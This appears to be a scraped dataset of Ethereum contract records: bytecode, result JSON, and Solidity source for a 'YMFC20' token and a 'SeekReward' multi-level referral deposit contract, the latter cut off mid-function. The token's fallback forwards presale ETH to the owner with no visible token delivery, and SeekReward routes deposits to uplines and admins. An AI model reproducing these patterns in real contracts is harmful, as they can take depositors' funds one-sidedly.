d565b60405180910390fd5b6104bc856104ab610956565b85846104b79190611645565b61095e565b60019150509392505050565b60006012905090565b60006105736104de610956565b8484600160006104ec610956565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461056e91906115ef565b61095e565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461060d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610604906114dd565b60405180910390fd5b6106178282610da8565b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461067290611701565b80601f016020809104026020016040519081016040528092919081815260200182805461069e90611701565b80156106eb5780601f106106c0576101008083540402835291602001916106eb565b820191906000526020600020905b8154815290600101906020018083116106ce57829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c906114dd565b60405180910390fd5b61078f8282610efc565b5050565b600080600160006107a2610956565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561085f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108569061155d565b60405180910390fd5b61087c61086a610956565b8585846108779190611645565b61095e565b600191505092915050565b600061089b610894610956565b8484610b29565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c59061153d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a359061147d565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b1c919061159d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b909061151d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c009061143d565b60405180910390fd5b610c148383836110d0565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610c9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c919061149d565b60405180910390fd5b8181610ca69190611645565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d3691906115ef565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d9a919061159d565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f9061157d565b60405180910390fd5b610e24600083836110d0565b8060026000828254610e3691906115ef565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e8b91906115ef565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ef0919061159d565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f63906114fd565b60405180910390fd5b610f78826000836110d0565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff59061145d565b60405180910390fd5b818161100a9190611645565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816002600082825461105e9190611645565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110c3919061159d565b60405180910390a3505050565b505050565b6000813590506110e481611abb565b92915050565b6000813590506110f981611ad2565b92915050565b60006020828403121561111157600080fd5b600061111f848285016110d5565b91505092915050565b6000806040838503121561113b57600080fd5b6000611149858286016110d5565b925050602061115a858286016110d5565b9150509250929050565b60008060006060848603121561117957600080fd5b6000611187868287016110d5565b9350506020611198868287016110d5565b92505060406111a9868287016110ea565b9150509250925092565b600080604083850312156111c657600080fd5b60006111d4858286016110d5565b92505060206111e5858286016110ea565b9150509250929050565b6111f881611679565b82525050565b6112078161168b565b82525050565b6000611218826115d3565b61122281856115de565b93506112328185602086016116ce565b61123b81611791565b840191505092915050565b60006112536023836115de565b915061125e826117a2565b604082019050919050565b60006112766022836115de565b9150611281826117f1565b604082019050919050565b60006112996022836115de565b91506112a482611840565b604082019050919050565b60006112bc6026836115de565b91506112c78261188f565b604082019050919050565b60006112df6028836115de565b91506112ea826118de565b604082019050919050565b60006113026014836115de565b915061130d8261192d565b602082019050919050565b60006113256021836115de565b915061133082611956565b604082019050919050565b60006113486025836115de565b9150611353826119a5565b604082019050919050565b600061136b6024836115de565b9150611376826119f4565b604082019050919050565b600061138e6025836115de565b915061139982611a43565b604082019050919050565b60006113b1601f836115de565b91506113bc82611a92565b602082019050919050565b6113d0816116b7565b82525050565b6113df816116c1565b82525050565b60006020820190506113fa60008301846111ef565b92915050565b600060208201905061141560008301846111fe565b92915050565b60006020820190508181036000830152611435818461120d565b905092915050565b6000602082019050818103600083015261145681611246565b9050919050565b6000602082019050818103600083015261147681611269565b9050919050565b600060208201905081810360008301526114968161128c565b9050919050565b600060208201905081810360008301526114b6816112af565b9050919050565b600060208201905081810360008301526114d6816112d2565b9050919050565b600060208201905081810360008301526114f6816112f5565b9050919050565b6000602082019050818103600083015261151681611318565b9050919050565b600060208201905081810360008301526115368161133b565b9050919050565b600060208201905081810360008301526115568161135e565b9050919050565b6000602082019050818103600083015261157681611381565b9050919050565b60006020820190508181036000830152611596816113a4565b9050919050565b60006020820190506115b260008301846113c7565b92915050565b60006020820190506115cd60008301846113d6565b92915050565b600081519050919050565b600082825260208201905092915050565b60006115fa826116b7565b9150611605836116b7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561163a57611639611733565b5b828201905092915050565b6000611650826116b7565b915061165b836116b7565b92508282101561166e5761166d611733565b5b828203905092915050565b600061168482611697565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116ec5780820151818401526020810190506116d1565b838111156116fb576000848401525b50505050565b6000600282049050600182168061171957607f821691505b6020821081141561172d5761172c611762565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206d757374206265206f776e6572000000000000000000000000600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611ac481611679565b8114611acf57600080fd5b50565b611adb816116b7565b8114611ae657600080fd5b5056fea26469706673582212203aa443f5d70c8c36d650cd9eaa40835b3788b6220e0c208b6aca0ad74852d5aa64736f6c63430008030033
{"success": true, "error": null, "results": {}}
3,639
0x44d7aa3e52df7f3902399fd263337e91ee6d3629
pragma solidity ^0.5.9; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); event AddPreSaleList(address indexed from, address indexed to, uint256 value); } contract YMFC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _pre_sale_list; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private amount_release; address payable private _owner; function _issueTokens(address _to, uint256 _amount) internal { require(_balances[_to] == 0); _balances[_to] = _balances[_to].add(_amount); emit Transfer(address(0), _to, _amount); } constructor () public { _name = "Yearn20MoonCore"; _symbol = "YMFC20"; _decimals = 8; _totalSupply = 250000000000 ; amount_release = 250000000000 ; _owner = msg.sender; _issueTokens(_owner, amount_release); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * > Note that this information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * `IERC20.balanceOf` and `IERC20.transfer`. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function () external payable { require(msg.value > 0); _pre_sale_list[msg.sender] = _pre_sale_list[msg.sender].add(msg.value); _owner.transfer(msg.value); emit AddPreSaleList( msg.sender, address(this), msg.value); } /** * Transfer token **/ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } }
0x60806040526004361061009c5760003560e01c8063395093511161006457806339509351146102bd57806370a08231146102f657806395d89b4114610329578063a457c2d71461033e578063a9059cbb14610377578063dd62ed3e146103b05761009c565b806306fdde0314610151578063095ea7b3146101db57806318160ddd1461022857806323b872dd1461024f578063313ce56714610292575b600034116100a957600080fd5b336000908152602081905260409020546100c9903463ffffffff6103eb16565b336000908152602081905260408082209290925560085491516001600160a01b0392909216913480156108fc0292909190818181858888f19350505050158015610117573d6000803e3d6000fd5b50604080513481529051309133917f3336a91e5c763788d4faa9f96edf98944947e74f8088d37b829715228a2b06749181900360200190a3005b34801561015d57600080fd5b5061016661044c565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a0578181015183820152602001610188565b50505050905090810190601f1680156101cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e757600080fd5b50610214600480360360408110156101fe57600080fd5b506001600160a01b0381351690602001356104e2565b604080519115158252519081900360200190f35b34801561023457600080fd5b5061023d6104f8565b60408051918252519081900360200190f35b34801561025b57600080fd5b506102146004803603606081101561027257600080fd5b506001600160a01b038135811691602081013590911690604001356104fe565b34801561029e57600080fd5b506102a7610555565b6040805160ff9092168252519081900360200190f35b3480156102c957600080fd5b50610214600480360360408110156102e057600080fd5b506001600160a01b03813516906020013561055e565b34801561030257600080fd5b5061023d6004803603602081101561031957600080fd5b50356001600160a01b031661059a565b34801561033557600080fd5b506101666105b5565b34801561034a57600080fd5b506102146004803603604081101561036157600080fd5b506001600160a01b038135169060200135610616565b34801561038357600080fd5b506102146004803603604081101561039a57600080fd5b506001600160a01b038135169060200135610652565b3480156103bc57600080fd5b5061023d600480360360408110156103d357600080fd5b506001600160a01b038135811691602001351661065f565b600082820183811015610445576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104d85780601f106104ad576101008083540402835291602001916104d8565b820191906000526020600020905b8154815290600101906020018083116104bb57829003601f168201915b5050505050905090565b60006104ef33848461068a565b50600192915050565b60035490565b600061050b848484610776565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461054b918691610546908663ffffffff6108ba16565b61068a565b5060019392505050565b60065460ff1690565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916104ef918590610546908663ffffffff6103eb16565b6001600160a01b031660009081526001602052604090205490565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104d85780601f106104ad576101008083540402835291602001916104d8565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916104ef918590610546908663ffffffff6108ba16565b60006104ef338484610776565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6001600160a01b0383166106cf5760405162461bcd60e51b81526004018080602001828103825260248152602001806109826024913960400191505060405180910390fd5b6001600160a01b0382166107145760405162461bcd60e51b815260040180806020018281038252602281526020018061093b6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166107bb5760405162461bcd60e51b815260040180806020018281038252602581526020018061095d6025913960400191505060405180910390fd5b6001600160a01b0382166108005760405162461bcd60e51b81526004018080602001828103825260238152602001806109186023913960400191505060405180910390fd5b6001600160a01b038316600090815260016020526040902054610829908263ffffffff6108ba16565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461085e908263ffffffff6103eb16565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610911576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b5090039056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820fd1e23dced72acf0d03705f0f1c263d6cca7fb97d75d275cc38e3b2a986d6fd964736f6c63430005110032
{"success": true, "error": null, "results": {}}
3,640
0x29f053e5ca0f1c0d2345a07d2c3ede4fa22902b7
/** *Submitted for verification at Etherscan.io on 2021-04-08 */ /** *Submitted for verification at Etherscan.io on 2021-04-08 */ pragma solidity 0.6.0; interface IERC777 { function name() external view returns(string memory); function symbol() external view returns(string memory); function decimals() external view returns(uint8); function totalSupply() external view returns(uint256); function balanceOf(address owner) external view returns(uint256); function transfer(address to, uint256 amount) external returns(bool); function transferFrom(address from, address to, uint256 amount) external returns(bool); function approve(address spender, uint256 amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint256); function burnBalance(address _addr, uint _amount) external; function mint(address _tokenHolder, uint256 _amount, bytes calldata _data, bytes calldata _operatorData) external; function defaultOperators() external view returns(address[] memory); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns(uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns(uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. * (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns(uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. * (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b != 0, errorMessage); return a % b; } } contract SeekReward { using SafeMath for uint256; // Investor details struct user { uint256 cycle; address upline; uint256 referrals; uint256 payouts; uint256 referalBonus; uint256 matchBonus; uint256 depositAmount; uint256 depositPayouts; uint40 depositTime; uint256 totalDeposits; uint256 totalStructure; } // Token instance IERC777 public token; // Mapping users details by address mapping(address => user)public users; // Contract status bool public lockStatus; // Admin1 address address public admin1; // Admin2 address address public admin2; // Total levels uint[]public Levels; // Total users count uint256 public totalUsers = 1; // Total deposit amount. uint256 public totalDeposited; // Total withdraw amount uint256 public totalWithdraw; // Matching bonus event event MatchBonus(address indexed from, address indexed to, uint value, uint time); // Withdraw event event Withdraw(address indexed from, uint value, uint time); // Deposit event event Deposit(address indexed from, address indexed refer, uint value, uint time); // Admin withdraw event event AdminEarnings(address indexed user, uint value, uint time); // User withdraw limt event event LimitReached(address indexed from, uint value, uint time); // Inject User event Inject(address indexed user,address indexed upline,uint amount,uint time); /** * @dev Initializes the contract setting the owners and token. */ constructor(address _owner1, address _owner2, address _token) public { admin1 = _owner1; admin2 = _owner2; token = IERC777(_token); //Levels maximum amount Levels.push(150e18); Levels.push(450e18); Levels.push(1350e18); Levels.push(3000e18); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == admin1, "SeekReward: Only Owner"); _; } /** * @dev Throws if lockStatus is true */ modifier isLock() { require(lockStatus == false, "SeekReward: Contract Locked"); _; } /** * @dev Throws if called by other contract */ modifier isContractCheck(address _user) { require(!isContract(_user), "SeekReward: Invalid address"); _; } function _setUpline(address _addr, address _upline) private { if (users[_addr].upline == address(0) && _upline != _addr && _addr != admin1 && (users[_upline].depositTime > 0 || _upline == admin1)) { users[_addr].upline = _upline; users[_upline].referrals = users[_upline].referrals.add(1); totalUsers++; for (uint8 i = 0; i < 21; i++) { // For update total structure for uplines if (_upline == address(0)) break; users[_upline].totalStructure++; _upline = users[_upline].upline; } } } function _deposit(address _addr, uint256 _amount) private { require(users[_addr].upline != address(0) || _addr == admin1, "No upline"); if (users[_addr].depositTime > 0) { users[_addr].cycle++; require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].depositAmount), "SeekReward: Deposit already exists"); require(_amount >= users[_addr].depositAmount && _amount <= Levels[users[_addr].cycle > Levels.length - 1 ?Levels.length - 1 : users[_addr].cycle], "SeekReward: Bad amount"); } else { require(_amount >= 1e18 && _amount <= Levels[0], "SeekReward: Bad amount"); } require(token.transferFrom(msg.sender, address(this), _amount), "Seekreward: transaction failed"); users[_addr].payouts = 0; users[_addr].depositAmount = _amount; users[_addr].depositPayouts = 0; users[_addr].depositTime = uint40(block.timestamp); users[_addr].referalBonus = 0; users[_addr].matchBonus = 0; users[_addr].totalDeposits = users[_addr].totalDeposits.add(_amount); totalDeposited = totalDeposited.add(_amount); address upline = users[_addr].upline; address up = users[users[_addr].upline].upline; if (upline != address(0)) { token.transfer(upline, _amount.mul(10e18).div(100e18)); // 10% for direct referer users[upline].referalBonus = users[upline].referalBonus.add(_amount.mul(10e18).div(100e18)); } if (up != address(0)) { token.transfer(up, _amount.mul(5e18).div(100e18)); // 5% for indirect referer users[up].referalBonus = users[up].referalBonus.add(_amount.mul(5e18).div(100e18)); } uint adminFee = _amount.mul(5e18).div(100e18); token.transfer(admin1, adminFee.div(2)); // 2.5% admin1 token.transfer(admin2, adminFee.div(2)); // 2.5% admin2 adminFee = 0; emit Deposit(_addr, users[_addr].upline, _amount, block.timestamp); } /** * @dev deposit: User deposit with 1 seek token * 5% adminshare split into 2 accounts * @param _upline: Referal address * @param amount:1st deposit minimum 1 seek & maximum 150 for cycle 1 * Next depsoit amount based on previous deposit amount and maximum amount based on cycles */ function deposit(address _upline, uint amount) external isLock isContractCheck(msg.sender) { _setUpline(msg.sender, _upline); _deposit(msg.sender, amount); } function injectUser(address[] 